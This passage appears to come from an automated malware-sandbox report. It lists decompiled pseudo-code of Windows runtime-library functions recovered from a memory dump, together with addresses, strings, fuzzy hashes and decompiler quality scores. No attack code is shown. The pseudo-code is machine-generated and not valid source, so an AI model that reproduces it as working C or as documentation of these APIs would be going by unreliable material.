									if(_t138 != 0) {
										__eflags = _t81;
										if(_t81 != 0) {
											goto L43;
										} else {
											goto L11;
										}
									} else {
										L11:
										_push(_t129);
										_t77 = E056F6D90( &_v20);
										_t130 = _t77;
										__eflags = _t130;
										if(_t130 >= 0) {
											_push(_t174);
											__eflags = _t170 & 0x00000301;
											if((_t170 & 0x00000301) == 0) {
												_t176 = _a8;
												__eflags = _t176;
												if(__eflags == 0) {
													L64:
													_t83 =  *[fs:0x18];
													_t177 = 0;
													__eflags =  *(_t83 + 0xfb8);
													if( *(_t83 + 0xfb8) != 0) {
														E056F76E2( *((intOrPtr*)( *[fs:0x18] + 0xfb8)));
														 *((intOrPtr*)( *[fs:0x18] + 0xfb8)) = 0;
													}
													 *((intOrPtr*)( *[fs:0x18] + 0xfb8)) = _v12;
													goto L15;
												} else {
													asm("sbb edx, edx");
													_t114 = E05788938(_t130, _t176, ( ~(_t170 & 4) & 0xffffffaf) + 0x55, _t170, _t176, __eflags);
													__eflags = _t114;
													if(_t114 < 0) {
														_push("*** ASSERT FAILED: Input parameter LanguagesBuffer for function RtlSetThreadPreferredUILanguages is not a valid multi-string!\n");
														E056EB150();
													}
													_t116 = E05786D81(_t176,  &_v16);
													__eflags = _t116;
													if(_t116 >= 0) {
														__eflags = _v16 - 2;
														if(_v16 < 2) {
															L56:
															_t118 = E056F75CE(_v20, 5, 0);
															__eflags = _t118;
															if(_t118 < 0) {
																L67:
																_t130 = 0xc0000017;
																goto L32;
															} else {
																__eflags = _v12;
																if(_v12 == 0) {
																	goto L67;
																} else {
																	_t153 =  *0x57d8638; // 0x0
																	_t122 = L056F38A4(_t153, _t176, _v16, _t170 | 0x00000002, 0x1a, 5,  &_v12);
																	_t154 = _v12;
																	_t130 = _t122;
																	__eflags = _t130;
																	if(_t130 >= 0) {
																		_t123 =  *(_t154 + 4) & 0x0000ffff;
																		__eflags = _t123;
																		if(_t123 != 0) {
																			_t155 = _a12;
																			__eflags = _t155;
																			if(_t155 != 0) {
																				 *_t155 = _t123;
																			}
																			goto L64;
																		} else {
																			E056F76E2(_t154);
																			goto L41;
																		}
																	} else {
																		E056F76E2(_t154);
																		_t177 = 0;
																		goto L18;
																	}
																}
															}
														} else {
															__eflags =  *_t176;
															if( *_t176 != 0) {
																goto L56;
															} else {
																__eflags =  *(_t176 + 2);
																if( *(_t176 + 2) == 0) {
																	goto L64;
																} else {
																	goto L56;
																}
															}
														}
													} else {
														_t130 = 0xc000000d;
														goto L32;
													}
												}
												goto L35;
											} else {
												__eflags = _a8;
												if(_a8 != 0) {
													_t77 = 0xc000000d;
												} else {
													_v5 = 1;
													L0571FCE3(_v20, _t170);
													_t177 = 0;
													__eflags = 0;
													L15:
													_t85 =  *[fs:0x18];
													__eflags =  *((intOrPtr*)(_t85 + 0xfc0)) - _t177;
													if( *((intOrPtr*)(_t85 + 0xfc0)) == _t177) {
														L18:
														__eflags = _t130;
														if(_t130 != 0) {
															goto L32;
														} else {
															__eflags = _v5 - _t130;
															if(_v5 == _t130) {
																goto L32;
															} else {
																_t86 =  *[fs:0x18];
																__eflags =  *((intOrPtr*)(_t86 + 0xfbc)) - _t177;
																if( *((intOrPtr*)(_t86 + 0xfbc)) != _t177) {
																	_t177 =  *( *( *[fs:0x18] + 0xfbc));
																}
																__eflags = _t177;
																if(_t177 == 0) {
																	L31:
																	__eflags = 0;
																	L056F70F0(_t170 | 0x00000030,  &_v32, 0,  &_v28);
																	goto L32;
																} else {
																	__eflags = _v24;
																	_t91 =  *(_t177 + 0x20);
																	if(_v24 != 0) {
																		 *(_t177 + 0x20) = _t91 & 0xfffffff9;
																		goto L31;
																	} else {
																		_t141 = _t91 & 0x00000040;
																		__eflags = _t170 & 0x00000100;
																		if((_t170 & 0x00000100) == 0) {
																			__eflags = _t141;
																			if(_t141 == 0) {
																				L74:
																				_t94 = _t91 & 0xfffffffd | 0x00000004;
																				goto L27;
																			} else {
																				_t177 = E0571FD22(_t177);
																				__eflags = _t177;
																				if(_t177 == 0) {
																					goto L42;
																				} else {
																					_t130 = E0571FD9B(_t177, 0, 4);
																					__eflags = _t130;
																					if(_t130 != 0) {
																						goto L42;
																					} else {
																						_t68 = _t177 + 0x20;
																						 *_t68 =  *(_t177 + 0x20) & 0xffffffbf;
																						__eflags =  *_t68;
																						_t91 =  *(_t177 + 0x20);
																						goto L74;
																					}
																				}
																			}
																			goto L35;
																		} else {
																			__eflags = _t141;
																			if(_t141 != 0) {
																				_t177 = E0571FD22(_t177);
																				__eflags = _t177;
																				if(_t177 == 0) {
																					L42:
																					_t77 = 0xc0000001;
																					goto L33;
																				} else {
																					_t130 = E0571FD9B(_t177, 0, 4);
																					__eflags = _t130;
																					if(_t130 != 0) {
																						goto L42;
																					} else {
																						 *(_t177 + 0x20) =  *(_t177 + 0x20) & 0xffffffbf;
																						_t91 =  *(_t177 + 0x20);
																						goto L26;
																					}
																				}
																				goto L35;
																			} else {
																				L26:
																				_t94 = _t91 & 0xfffffffb | 0x00000002;
																				__eflags = _t94;
																				L27:
																				 *(_t177 + 0x20) = _t94;
																				__eflags = _t170 & 0x00008000;
																				if((_t170 & 0x00008000) != 0) {
																					_t95 = _a12;
																					__eflags = _t95;
																					if(_t95 != 0) {
																						_t96 =  *_t95;
																						__eflags = _t96;
																						if(_t96 != 0) {
																							 *((short*)(_t177 + 0x22)) = 0;
																							_t40 = _t177 + 0x20;
																							 *_t40 =  *(_t177 + 0x20) | _t96 << 0x00000010;
																							__eflags =  *_t40;
																						}
																					}
																				}
																				goto L31;
																			}
																		}
																	}
																}
															}
														}
													} else {
														_t147 =  *( *[fs:0x18] + 0xfc0);
														_t106 =  *(_t147 + 0x20);
														__eflags = _t106 & 0x00000040;
														if((_t106 & 0x00000040) != 0) {
															_t147 = E0571FD22(_t147);
															__eflags = _t147;
															if(_t147 == 0) {
																L41:
																_t130 = 0xc0000001;
																L32:
																_t77 = _t130;
																goto L33;
															} else {
																 *(_t147 + 0x20) =  *(_t147 + 0x20) & 0xffffffbf;
																_t106 =  *(_t147 + 0x20);
																goto L17;
															}
															goto L35;
														} else {
															L17:
															_t108 = _t106 | 0x00000080;
															__eflags = _t108;
															 *(_t147 + 0x20) = _t108;
															 *( *[fs:0x18] + 0xfc0) = _t147;
															goto L18;
														}
													}
												}
											}
											L33:
										}
									}
								}
							}
						}
						L35:
						return _t77;
					} else {
						 *_t75 = 0x57d7b80;
						 *((intOrPtr*)(_t75 + 4)) = _t134;
						 *_t134 = _t75;
						 *0x57d7b84 = _t75;
						_t73 = E056FEB70(_t134, 0x57d7b60);
						if( *0x57d7b20 != 0) {
							_t73 =  *( *[fs:0x30] + 0xc);
							if( *((char*)(_t73 + 0x28)) == 0) {
								_t73 = E056FFF60( *0x57d7b20);
							}
						}
						goto L5;
					}
				}
			}

0x0571fab0
0x0571fab2
0x0571fab3
0x0571fab4
0x0571fabc
0x0571fac0
0x0571fb14
0x0571fb17
0x0571fac2
0x0571fac8
0x0571facd
0x0571fad3
0x0571fad3
0x0571fadd
0x0571fb18
0x0571fb1b
0x0571fb1d
0x0571fb1e
0x0571fb1f
0x0571fb20
0x0571fb21
0x0571fb22
0x0571fb23
0x0571fb24
0x0571fb25
0x0571fb26
0x0571fb27
0x0571fb28
0x0571fb29
0x0571fb2a
0x0571fb2b
0x0571fb2c
0x0571fb2d
0x0571fb2e
0x0571fb2f
0x0571fb3a
0x0571fb3b
0x0571fb3e
0x0571fb41
0x0571fb44
0x0571fb47
0x0571fb4a
0x0571fb4d
0x0571fb53
0x0575bdcb
0x0575bdcb
0x0571fb59
0x0571fb5b
0x0571fb5b
0x0571fb5e
0x0575bdd5
0x0575bdd8
0x00000000
0x0575bdda
0x00000000
0x0575bdda
0x0571fb64
0x0571fb64
0x0571fb64
0x0571fb67
0x0571fb6e
0x0571fb70
0x0571fb72
0x00000000
0x0571fb78
0x0571fb7a
0x0571fb7a
0x0571fb7d
0x0571fb80
0x0575bddf
0x0575bde1
0x00000000
0x0575bde3
0x00000000
0x0575bde3
0x0571fb86
0x0571fb86
0x0571fb86
0x0571fb8b
0x0571fb90
0x0571fb92
0x0571fb94
0x0571fb9a
0x0571fb9b
0x0571fba1
0x0575bde8
0x0575bdeb
0x0575bded
0x0575beb5
0x0575beb5
0x0575bebb
0x0575bebd
0x0575bec3
0x0575bed2
0x0575bedd
0x0575bedd
0x0575beed
0x00000000
0x0575bdf3
0x0575bdfe
0x0575be06
0x0575be0b
0x0575be0d
0x0575be0f
0x0575be14
0x0575be19
0x0575be20
0x0575be25
0x0575be27
0x0575be35
0x0575be39
0x0575be46
0x0575be4f
0x0575be54
0x0575be56
0x0575bef8
0x0575bef8
0x00000000
0x0575be5c
0x0575be5c
0x0575be60
0x00000000
0x0575be66
0x0575be66
0x0575be7f
0x0575be84
0x0575be87
0x0575be89
0x0575be8b
0x0575be99
0x0575be9d
0x0575bea0
0x0575beac
0x0575beaf
0x0575beb1
0x0575beb3
0x0575beb3
0x00000000
0x0575bea2
0x0575bea2
0x00000000
0x0575bea2
0x0575be8d
0x0575be8d
0x0575be92
0x00000000
0x0575be92
0x0575be8b
0x0575be60
0x0575be3b
0x0575be3b
0x0575be3e
0x00000000
0x0575be40
0x0575be40
0x0575be44
0x00000000
0x00000000
0x00000000
0x00000000
0x0575be44
0x0575be3e
0x0575be29
0x0575be29
0x00000000
0x0575be29
0x0575be27
0x00000000
0x0571fba7
0x0571fba7
0x0571fbab
0x0575bf02
0x0571fbb1
0x0571fbb1
0x0571fbb8
0x0571fbbd
0x0571fbbd
0x0571fbbf
0x0571fbbf
0x0571fbc5
0x0571fbcb
0x0571fbf8
0x0571fbf8
0x0571fbfa
0x00000000
0x0571fc00
0x0571fc00
0x0571fc03
0x00000000
0x0571fc09
0x0571fc09
0x0571fc0f
0x0571fc15
0x0571fc23
0x0571fc23
0x0571fc25
0x0571fc27
0x0571fc75
0x0571fc7c
0x0571fc84
0x00000000
0x0571fc29
0x0571fc29
0x0571fc2d
0x0571fc30
0x0575bf0f
0x00000000
0x0571fc36
0x0571fc38
0x0571fc3b
0x0571fc41
0x0575bf17
0x0575bf19
0x0575bf48
0x0575bf4b
0x00000000
0x0575bf1b
0x0575bf22
0x0575bf24
0x0575bf26
0x00000000
0x0575bf2c
0x0575bf37
0x0575bf39
0x0575bf3b
0x00000000
0x0575bf41
0x0575bf41
0x0575bf41
0x0575bf41
0x0575bf45
0x00000000
0x0575bf45
0x0575bf3b
0x0575bf26
0x00000000
0x0571fc47
0x0571fc47
0x0571fc49
0x0571fcb2
0x0571fcb4
0x0571fcb6
0x0571fcdc
0x0571fcdc
0x00000000
0x0571fcb8
0x0571fcc3
0x0571fcc5
0x0571fcc7
0x00000000
0x0571fcc9
0x0571fcc9
0x0571fccd
0x00000000
0x0571fccd
0x0571fcc7
0x00000000
0x0571fc4b
0x0571fc4b
0x0571fc4e
0x0571fc4e
0x0571fc51
0x0571fc51
0x0571fc54
0x0571fc5a
0x0571fc5c
0x0571fc5f
0x0571fc61
0x0571fc63
0x0571fc65
0x0571fc67
0x0571fc6e
0x0571fc72
0x0571fc72
0x0571fc72
0x0571fc72
0x0571fc67
0x0571fc61
0x00000000
0x0571fc5a
0x0571fc49
0x0571fc41
0x0571fc30
0x0571fc27
0x0571fc03
0x0571fbcd
0x0571fbd3
0x0571fbd9
0x0571fbdc
0x0571fbde
0x0571fc99
0x0571fc9b
0x0571fc9d
0x0571fcd5
0x0571fcd5
0x0571fc89
0x0571fc89
0x00000000
0x0571fc9f
0x0571fc9f
0x0571fca3
0x00000000
0x0571fca3
0x00000000
0x0571fbe4
0x0571fbe4
0x0571fbe4
0x0571fbe4
0x0571fbe9
0x0571fbf2
0x00000000
0x0571fbf2
0x0571fbde
0x0571fbcb
0x0571fbab
0x0571fc8b
0x0571fc8b
0x0571fc8c
0x0571fb80
0x0571fb72
0x0571fb5e
0x0571fc8d
0x0571fc91
0x0571fadf
0x0571fadf
0x0571fae1
0x0571fae4
0x0571fae7
0x0571faec
0x0571faf8
0x0571fb00
0x0571fb07
0x0571fb0f
0x0571fb0f
0x0571fb07
0x00000000
0x0571faf8
0x0571fadd

Strings

*** ASSERT FAILED: Input parameter LanguagesBuffer for function RtlSetThreadPreferredUILanguages is not a valid multi-string!, xrefs: 0575BE0F

Memory Dump Source

Source File: 00000002.00000002.385435032.00000000056C0000.00000040.00000001.sdmp, Offset: 056C0000, based on PE: true

Similarity

API ID:
String ID: *** ASSERT FAILED: Input parameter LanguagesBuffer for function RtlSetThreadPreferredUILanguages is not a valid multi-string!
API String ID: 0-865735534
Opcode ID: dd10b55bdf90008d2ab9d2e77d6c8f3b0fe0985896b4d82e9e84711ca1a3ab2a
Instruction ID: 8a91e898158a0e823440f278ca89c6873946e4550b16bd6563ac4466b39bd6d0
Opcode Fuzzy Hash: dd10b55bdf90008d2ab9d2e77d6c8f3b0fe0985896b4d82e9e84711ca1a3ab2a
Instruction Fuzzy Hash: 19A10171B106058BDB25CF68C454BBAB3A6BF48720F04457EED47DB680DB74D841EBA8

Uniqueness

Uniqueness Score: -1.00%

Function 056E2D8A, Relevance: 1.4, Strings: 1, Instructions: 191
COMMON

Download Yara Rule

C-Code - Quality: 63%

			E056E2D8A(void* __ebx, signed char __ecx, signed int __edx, signed int __edi) {
				signed char _v8;
				signed int _v12;
				signed int _v16;
				signed int _v20;
				signed int _v24;
				intOrPtr _v28;
				intOrPtr _v32;
				signed int _v52;
				void* __esi;
				void* __ebp;
				intOrPtr _t55;
				signed int _t57;
				signed int _t58;
				char* _t62;
				signed char* _t63;
				signed char* _t64;
				signed int _t67;
				signed int _t72;
				signed int _t77;
				signed int _t78;
				signed int _t88;
				intOrPtr _t89;
				signed char _t93;
				signed int _t97;
				signed int _t98;
				signed int _t102;
				signed int _t103;
				intOrPtr _t104;
				signed int _t105;
				signed int _t106;
				signed char _t109;
				signed int _t111;
				void* _t116;

				_t102 = __edi;
				_t97 = __edx;
				_v12 = _v12 & 0x00000000;
				_t55 =  *[fs:0x18];
				_t109 = __ecx;
				_v8 = __edx;
				_t86 = 0;
				_v32 = _t55;
				_v24 = 0;
				_push(__edi);
				if(__ecx == 0x57d5350) {
					_t86 = 1;
					_v24 = 1;
					 *((intOrPtr*)(_t55 + 0xf84)) = 1;
				}
				_t103 = _t102 | 0xffffffff;
				if( *0x57d7bc8 != 0) {
					_push(0xc000004b);
					_push(_t103);
					E057297C0();
				}
				if( *0x57d79c4 != 0) {
					_t57 = 0;
				} else {
					_t57 = 0x57d79c8;
				}
				_v16 = _t57;
				if( *((intOrPtr*)(_t109 + 0x10)) == 0) {
					_t93 = _t109;
					L23();
				}
				_t58 =  *_t109;
				if(_t58 == _t103) {
					__eflags =  *(_t109 + 0x14) & 0x01000000;
					_t58 = _t103;
					if(__eflags == 0) {
						_t93 = _t109;
						E05711624(_t86, __eflags);
						_t58 =  *_t109;
					}
				}
				_v20 = _v20 & 0x00000000;
				if(_t58 != _t103) {
					 *((intOrPtr*)(_t58 + 0x14)) =  *((intOrPtr*)(_t58 + 0x14)) + 1;
				}
				_t104 =  *((intOrPtr*)(_t109 + 0x10));
				_t88 = _v16;
				_v28 = _t104;
				L9:
				while(1) {
					if(E05707D50() != 0) {
						_t62 = ( *[fs:0x30])[0x50] + 0x228;
					} else {
						_t62 = 0x7ffe0382;
					}
					if( *_t62 != 0) {
						_t63 =  *[fs:0x30];
						__eflags = _t63[0x240] & 0x00000002;
						if((_t63[0x240] & 0x00000002) != 0) {
							_t93 = _t109;
							E0577FE87(_t93);
						}
					}
					if(_t104 != 0xffffffff) {
						_push(_t88);
						_push(0);
						_push(_t104);
						_t64 = E05729520();
						goto L15;
					} else {
						while(1) {
							_t97 =  &_v8;
							_t64 = E0571E18B(_t109 + 4, _t97, 4, _t88, 0);
							if(_t64 == 0x102) {
								break;
							}
							_t93 =  *(_t109 + 4);
							_v8 = _t93;
							if((_t93 & 0x00000002) != 0) {
								continue;
							}
							L15:
							if(_t64 == 0x102) {
								break;
							}
							_t89 = _v24;
							if(_t64 < 0) {
								L0573DF30(_t93, _t97, _t64);
								_push(_t93);
								_t98 = _t97 | 0xffffffff;
								__eflags =  *0x57d6901;
								_push(_t109);
								_v52 = _t98;
								if( *0x57d6901 != 0) {
									_push(0);
									_push(1);
									_push(0);
									_push(0x100003);
									_push( &_v12);
									_t72 = E05729980();
									__eflags = _t72;
									if(_t72 < 0) {
										_v12 = _t98 | 0xffffffff;
									}
								}
								asm("lock cmpxchg [ecx], edx");
								_t111 = 0;
								__eflags = 0;
								if(0 != 0) {
									__eflags = _v12 - 0xffffffff;
									if(_v12 != 0xffffffff) {
										_push(_v12);
										E057295D0();
									}
								} else {
									_t111 = _v12;
								}
								return _t111;
							} else {
								if(_t89 != 0) {
									 *((intOrPtr*)(_v32 + 0xf84)) = 0;
									_t77 = E05707D50();
									__eflags = _t77;
									if(_t77 == 0) {
										_t64 = 0x7ffe0384;
									} else {
										_t64 = ( *[fs:0x30])[0x50] + 0x22a;
									}
									__eflags =  *_t64;
									if( *_t64 != 0) {
										_t64 =  *[fs:0x30];
										__eflags = _t64[0x240] & 0x00000004;
										if((_t64[0x240] & 0x00000004) != 0) {
											_t78 = E05707D50();
											__eflags = _t78;
											if(_t78 == 0) {
												_t64 = 0x7ffe0385;
											} else {
												_t64 = ( *[fs:0x30])[0x50] + 0x22b;
											}
											__eflags =  *_t64 & 0x00000020;
											if(( *_t64 & 0x00000020) != 0) {
												_t64 = E05767016(0x1483, _t97 | 0xffffffff, 0xffffffff, 0xffffffff, 0, 0);
											}
										}
									}
								}
								return _t64;
							}
						}
						_t97 = _t88;
						_t93 = _t109;
						E0577FDDA(_t97, _v12);
						_t105 =  *_t109;
						_t67 = _v12 + 1;
						_v12 = _t67;
						__eflags = _t105 - 0xffffffff;
						if(_t105 == 0xffffffff) {
							_t106 = 0;
							__eflags = 0;
						} else {
							_t106 =  *(_t105 + 0x14);
						}
						__eflags = _t67 - 2;
						if(_t67 > 2) {
							__eflags = _t109 - 0x57d5350;
							if(_t109 != 0x57d5350) {
								__eflags = _t106 - _v20;
								if(__eflags == 0) {
									_t93 = _t109;
									E0577FFB9(_t88, _t93, _t97, _t106, _t109, __eflags);
								}
							}
						}
						_push("RTL: Re-Waiting\n");
						_push(0);
						_push(0x65);
						_v20 = _t106;
						E05775720();
						_t104 = _v28;
						_t116 = _t116 + 0xc;
						continue;
					}
				}
			}

0x056e2d8a
0x056e2d8a
0x056e2d92
0x056e2d96
0x056e2d9e
0x056e2da0
0x056e2da3
0x056e2da5
0x056e2da8
0x056e2dab
0x056e2db2
0x0573f9aa
0x0573f9ab
0x0573f9ae
0x0573f9ae
0x056e2db8
0x056e2dc2
0x0573f9b9
0x0573f9be
0x0573f9bf
0x0573f9bf
0x056e2dcf
0x0573f9c9
0x056e2dd5
0x056e2dd5
0x056e2dd5
0x056e2dde
0x056e2de1
0x056e2e70
0x056e2e72
0x056e2e72
0x056e2de7
0x056e2deb
0x056e2e7c
0x056e2e83
0x056e2e85
0x056e2e8b
0x056e2e8d
0x056e2e92
0x056e2e92
0x056e2e85
0x056e2df1
0x056e2df7
0x056e2df9
0x056e2df9
0x056e2dfc
0x056e2dff
0x056e2e02
0x00000000
0x056e2e05
0x056e2e0c
0x0573f9d9
0x056e2e12
0x056e2e12
0x056e2e12
0x056e2e1a
0x0573f9e3
0x0573f9e9
0x0573f9f0
0x0573f9f6
0x0573f9f8
0x0573f9f8
0x0573f9f0
0x056e2e23
0x0573fa02
0x0573fa03
0x0573fa05
0x0573fa06
0x00000000
0x056e2e29
0x056e2e29
0x056e2e2e
0x056e2e34
0x056e2e3e
0x00000000
0x00000000
0x056e2e44
0x056e2e47
0x056e2e4d
0x00000000
0x00000000
0x056e2e4f
0x056e2e54
0x00000000
0x00000000
0x056e2e5a
0x056e2e5f
0x056e2e9a
0x056e2ea4
0x056e2ea5
0x056e2ea8
0x056e2eaf
0x056e2eb2
0x056e2eb5
0x0573fae9
0x0573faeb
0x0573faed
0x0573faef
0x0573faf7
0x0573faf8
0x0573fafd
0x0573faff
0x0573fb04
0x0573fb04
0x0573faff
0x056e2ec0
0x056e2ec4
0x056e2ec6
0x056e2ec8
0x0573fb14
0x0573fb18
0x0573fb1e
0x0573fb21
0x0573fb21
0x056e2ece
0x056e2ece
0x056e2ece
0x056e2ed7
0x056e2e61
0x056e2e63
0x0573fa6b
0x0573fa71
0x0573fa76
0x0573fa78
0x0573fa8a
0x0573fa7a
0x0573fa83
0x0573fa83
0x0573fa8f
0x0573fa91
0x0573fa97
0x0573fa9d
0x0573faa4
0x0573faaa
0x0573faaf
0x0573fab1
0x0573fac3
0x0573fab3
0x0573fabc
0x0573fabc
0x0573fac8
0x0573facb
0x0573fadf
0x0573fadf
0x0573facb
0x0573faa4
0x0573fa91
0x056e2e6f
0x056e2e6f
0x056e2e5f
0x0573fa13
0x0573fa15
0x0573fa17
0x0573fa1f
0x0573fa21
0x0573fa22
0x0573fa25
0x0573fa28
0x0573fa2f
0x0573fa2f
0x0573fa2a
0x0573fa2a
0x0573fa2a
0x0573fa31
0x0573fa34
0x0573fa36
0x0573fa3c
0x0573fa3e
0x0573fa41
0x0573fa43
0x0573fa45
0x0573fa45
0x0573fa41
0x0573fa3c
0x0573fa4a
0x0573fa4f
0x0573fa51
0x0573fa53
0x0573fa56
0x0573fa5b
0x0573fa5e
0x00000000
0x0573fa5e
0x056e2e23

Strings

RTL: Re-Waiting, xrefs: 0573FA4A

Memory Dump Source

Source File: 00000002.00000002.385435032.00000000056C0000.00000040.00000001.sdmp, Offset: 056C0000, based on PE: true

Similarity

API ID:
String ID: RTL: Re-Waiting
API String ID: 0-316354757
Opcode ID: 9e194561904aa16900f9d85bd6e0c2ba6ea4b17198d1f8ce415018c78ddf2195
Instruction ID: e71ba447914dd19f761ea31e386751ec9cf54f953c23dfc50ddc4c42ad11e8d1
Opcode Fuzzy Hash: 9e194561904aa16900f9d85bd6e0c2ba6ea4b17198d1f8ce415018c78ddf2195
Instruction Fuzzy Hash: C6615531F066149FDB21DF68C899B7EB7BAFB01360F1402A9E912973C1DB389901E791

Uniqueness

Uniqueness Score: -1.00%

Function 057B0EA5, Relevance: 1.4, Strings: 1, Instructions: 153
COMMON

Download Yara Rule

C-Code - Quality: 80%

			E057B0EA5(void* __ecx, void* __edx) {
				signed int _v20;
				char _v24;
				intOrPtr _v28;
				unsigned int _v32;
				signed int _v36;
				intOrPtr _v40;
				char _v44;
				intOrPtr _v64;
				void* __ebx;
				void* __edi;
				signed int _t58;
				unsigned int _t60;
				intOrPtr _t62;
				char* _t67;
				char* _t69;
				void* _t80;
				void* _t83;
				intOrPtr _t93;
				intOrPtr _t115;
				char _t117;
				void* _t120;

				_t83 = __edx;
				_t117 = 0;
				_t120 = __ecx;
				_v44 = 0;
				if(E057AFF69(__ecx,  &_v44,  &_v32) < 0) {
					L24:
					_t109 = _v44;
					if(_v44 != 0) {
						E057B1074(_t83, _t120, _t109, _t117, _t117);
					}
					L26:
					return _t117;
				}
				_t93 =  *((intOrPtr*)(__ecx + 0x3c));
				_t5 = _t83 + 1; // 0x1
				_v36 = _t5 << 0xc;
				_v40 = _t93;
				_t58 =  *(_t93 + 0xc) & 0x40000000;
				asm("sbb ebx, ebx");
				_t83 = ( ~_t58 & 0x0000003c) + 4;
				if(_t58 != 0) {
					_push(0);
					_push(0x14);
					_push( &_v24);
					_push(3);
					_push(_t93);
					_push(0xffffffff);
					_t80 = E05729730();
					_t115 = _v64;
					if(_t80 < 0 || (_v20 & 0x00000060) == 0 || _v24 != _t115) {
						_push(_t93);
						E057AA80D(_t115, 1, _v20, _t117);
						_t83 = 4;
					}
				}
				if(E057AA854( &_v44,  &_v36, _t117, 0x40001000, _t83, _t117,  *((intOrPtr*)(_t120 + 0x34)),  *((intOrPtr*)(_t120 + 0x38))) < 0) {
					goto L24;
				}
				_t60 = _v32;
				_t97 = (_t60 != 0x100000) + 1;
				_t83 = (_v44 -  *0x57d8b04 >> 0x14) + (_v44 -  *0x57d8b04 >> 0x14);
				_v28 = (_t60 != 0x100000) + 1;
				_t62 = _t83 + (_t60 >> 0x14) * 2;
				_v40 = _t62;
				if(_t83 >= _t62) {
					L10:
					asm("lock xadd [eax], ecx");
					asm("lock xadd [eax], ecx");
					if(E05707D50() == 0) {
						_t67 = 0x7ffe0380;
					} else {
						_t67 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x226;
					}
					if( *_t67 != 0 && ( *( *[fs:0x30] + 0x240) & 0x00000001) != 0) {
						E057A138A(_t83,  *((intOrPtr*)(_t120 + 0x3c)), _v44, _v36, 0xc);
					}
					if(E05707D50() == 0) {
						_t69 = 0x7ffe0388;
					} else {
						_t69 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22e;
					}
					if( *_t69 != 0) {
						E0579FEC0(_t83,  *((intOrPtr*)(_t120 + 0x3c)), _v44, _v32);
					}
					if(( *0x57d8724 & 0x00000008) != 0) {
						E057A52F8( *((intOrPtr*)(_t120 + 0x3c)),  *((intOrPtr*)(_t120 + 0x28)));
					}
					_t117 = _v44;
					goto L26;
				}
				while(E057B15B5(0x57d8ae4, _t83, _t97, _t97) >= 0) {
					_t97 = _v28;
					_t83 = _t83 + 2;
					if(_t83 < _v40) {
						continue;
					}
					goto L10;
				}
				goto L24;
			}

0x057b0eb7
0x057b0eb9
0x057b0ec0
0x057b0ec2
0x057b0ecd
0x057b105b
0x057b105b
0x057b1061
0x057b1066
0x057b1066
0x057b106b
0x057b1073
0x057b1073
0x057b0ed3
0x057b0ed6
0x057b0edc
0x057b0ee0
0x057b0ee7
0x057b0ef0
0x057b0ef5
0x057b0efa
0x057b0efc
0x057b0efd
0x057b0f03
0x057b0f04
0x057b0f06
0x057b0f07
0x057b0f09
0x057b0f0e
0x057b0f14
0x057b0f23
0x057b0f2d
0x057b0f34
0x057b0f34
0x057b0f14
0x057b0f52
0x00000000
0x00000000
0x057b0f58
0x057b0f73
0x057b0f74
0x057b0f79
0x057b0f7d
0x057b0f80
0x057b0f86
0x057b0fab
0x057b0fb5
0x057b0fc6
0x057b0fd1
0x057b0fe3
0x057b0fd3
0x057b0fdc
0x057b0fdc
0x057b0feb
0x057b1009
0x057b1009
0x057b1015
0x057b1027
0x057b1017
0x057b1020
0x057b1020
0x057b102f
0x057b103c
0x057b103c
0x057b1048
0x057b1050
0x057b1050
0x057b1055
0x00000000
0x057b1055
0x057b0f88
0x057b0f9e
0x057b0fa2
0x057b0fa9
0x00000000
0x00000000
0x00000000
0x057b0fa9
0x00000000

Strings

`, xrefs: 057B0F16

Memory Dump Source

Source File: 00000002.00000002.385435032.00000000056C0000.00000040.00000001.sdmp, Offset: 056C0000, based on PE: true

Similarity

API ID:
String ID: `
API String ID: 0-2679148245
Opcode ID: cce5d970c38ff459b6045ebd15b065e8bdac3d2a83a530d4beb03f3434274164
Instruction ID: bbada4310e56d2c9d7c45b8e299449c4988a202719a07b5f328fe54c4a1c1b56
Opcode Fuzzy Hash: cce5d970c38ff459b6045ebd15b065e8bdac3d2a83a530d4beb03f3434274164
Instruction Fuzzy Hash: 4C51AD713083419FE325DF28D898B5BB7E5FBC4714F440A2CF99697290D6B0E906DB62

Uniqueness

Uniqueness Score: -1.00%

Function 0571F0BF, Relevance: 1.4, Strings: 1, Instructions: 137
COMMON

Download Yara Rule

C-Code - Quality: 75%

			E0571F0BF(signed short* __ecx, signed short __edx, void* __eflags, intOrPtr* _a4) {
				intOrPtr _v8;
				intOrPtr _v12;
				intOrPtr _v16;
				char* _v20;
				intOrPtr _v24;
				char _v28;
				intOrPtr _v32;
				char _v36;
				char _v44;
				char _v52;
				intOrPtr _v56;
				char _v60;
				intOrPtr _v72;
				void* _t51;
				void* _t58;
				signed short _t82;
				short _t84;
				signed int _t91;
				signed int _t100;
				signed short* _t103;
				void* _t108;
				intOrPtr* _t109;

				_t103 = __ecx;
				_t82 = __edx;
				_t51 = E05704120(0, __ecx, 0,  &_v52, 0, 0, 0);
				if(_t51 >= 0) {
					_push(0x21);
					_push(3);
					_v56 =  *0x7ffe02dc;
					_v20 =  &_v52;
					_push( &_v44);
					_v28 = 0x18;
					_push( &_v28);
					_push(0x100020);
					_v24 = 0;
					_push( &_v60);
					_v16 = 0x40;
					_v12 = 0;
					_v8 = 0;
					_t58 = E05729830();
					_t87 =  *[fs:0x30];
					_t108 = _t58;
					L057077F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _v72);
					if(_t108 < 0) {
						L11:
						_t51 = _t108;
					} else {
						_push(4);
						_push(8);
						_push( &_v36);
						_push( &_v44);
						_push(_v60);
						_t108 = E05729990();
						if(_t108 < 0) {
							L10:
							_push(_v60);
							E057295D0();
							goto L11;
						} else {
							_t109 = L05704620(_t87,  *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t82 + 0x18);
							if(_t109 == 0) {
								_t108 = 0xc0000017;
								goto L10;
							} else {
								_t21 = _t109 + 0x18; // 0x18
								 *((intOrPtr*)(_t109 + 4)) = _v60;
								 *_t109 = 1;
								 *((intOrPtr*)(_t109 + 0x10)) = _t21;
								 *(_t109 + 0xe) = _t82;
								 *((intOrPtr*)(_t109 + 8)) = _v56;
								 *((intOrPtr*)(_t109 + 0x14)) = _v32;
								E0572F3E0(_t21, _t103[2],  *_t103 & 0x0000ffff);
								 *((short*)( *((intOrPtr*)(_t109 + 0x10)) + (( *_t103 & 0x0000ffff) >> 1) * 2)) = 0;
								 *((short*)(_t109 + 0xc)) =  *_t103;
								_t91 =  *_t103 & 0x0000ffff;
								_t100 = _t91 & 0xfffffffe;
								_t84 = 0x5c;
